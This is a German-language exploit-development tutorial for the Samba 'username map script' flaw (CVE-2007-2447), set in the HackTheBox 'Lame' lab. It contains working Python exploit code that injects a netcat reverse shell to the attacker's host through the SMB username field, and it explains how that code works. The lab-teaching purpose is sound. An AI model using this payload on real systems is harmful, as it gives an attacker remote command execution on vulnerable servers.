
Bildungsexploit-Implementierung für CVE-2007-2447 Samba 3.0.20-3.0.25rc username map script command execution vulnerability mit Python SMB client payload und netcat reverse shell.
Ursprünglicher Exploit: https://www.exploit-db.com/exploits/16320
Exploit-Name: Samba username map script RCE
CVE: 2007-2447
Lab: Lame - HackTheBox
Es gibt eine Sicherheitslücke in Samba-Versionen unter 3.0.25, die es einem Angreifer ermöglicht, Systembefehle auszuführen, indem eine fehlerhafte Anfrage als Benutzername an den SMB-Server gesendet wird.
Hier ist ein Beispiel für die Verwendung des Befehls nohup zum Erstellen eines Verzeichnisses:

Programmatisch gesehen bedeutet /= den Divisions- und Zuweisungsoperator, der normalerweise in Schleifen verwendet wird. Aber warum müssen wir ihn hier verwenden?
Der Grund dafür ist, das Domain-Feld und das Benutzername-Feld beim Senden der Anfrage zu trennen. Eine bessere Erklärung findet sich hier.
Wir verwenden das Benutzername-Feld, um eine Netcat-Verbindung zu öffnen und eine Verbindung zu unserem Server herzustellen.
Das Schreiben des Exploits ist sehr einfach, da es bereits eine SMB-Client-Bibliothek für Python gibt (installiere das Paket python3-samba). Du musst es nur so verwenden wie hier:
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
Lass uns verstehen, wie SMBConnection funktioniert. Ich habe den username bereitgestellt, aber was bedeuten die drei anderen leeren Zeichenketten?
Die drei anderen Argumente sind: password, my_name & remote_name.
Um unseren Exploit lesbarer zu machen, können wir sie explizit mit ihren Werten angeben, aber die Werte für die Argumente nach username sind nicht erforderlich:
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
Der folgende Teil ist leichter zu verstehen: Wir verwenden die Instanz der SMBConnection-Klasse, um eine Verbindung herzustellen, und geben die IP des Ziels, den Port und eine Timeout-Zahl in Sekunden an:
conn.connect(rhost, rport, timeout=10)
In dieser Exploit-Entwicklungssitzung hast du gelernt, wie man einen SMB-Client erstellt und eine Verbindung zu einem SMB-Server herstellt. Du hast auch etwas über Linux-Befehle wie nohup gelernt, mit denen du später experimentieren kannst. Du hast gelernt, wie du von der Opfermaschine aus mit netcat eine Verbindung zu deiner Angreifermaschine herstellst – etwas, das dir auf deiner Exploit-Entwicklungsreise nützlich sein könnte.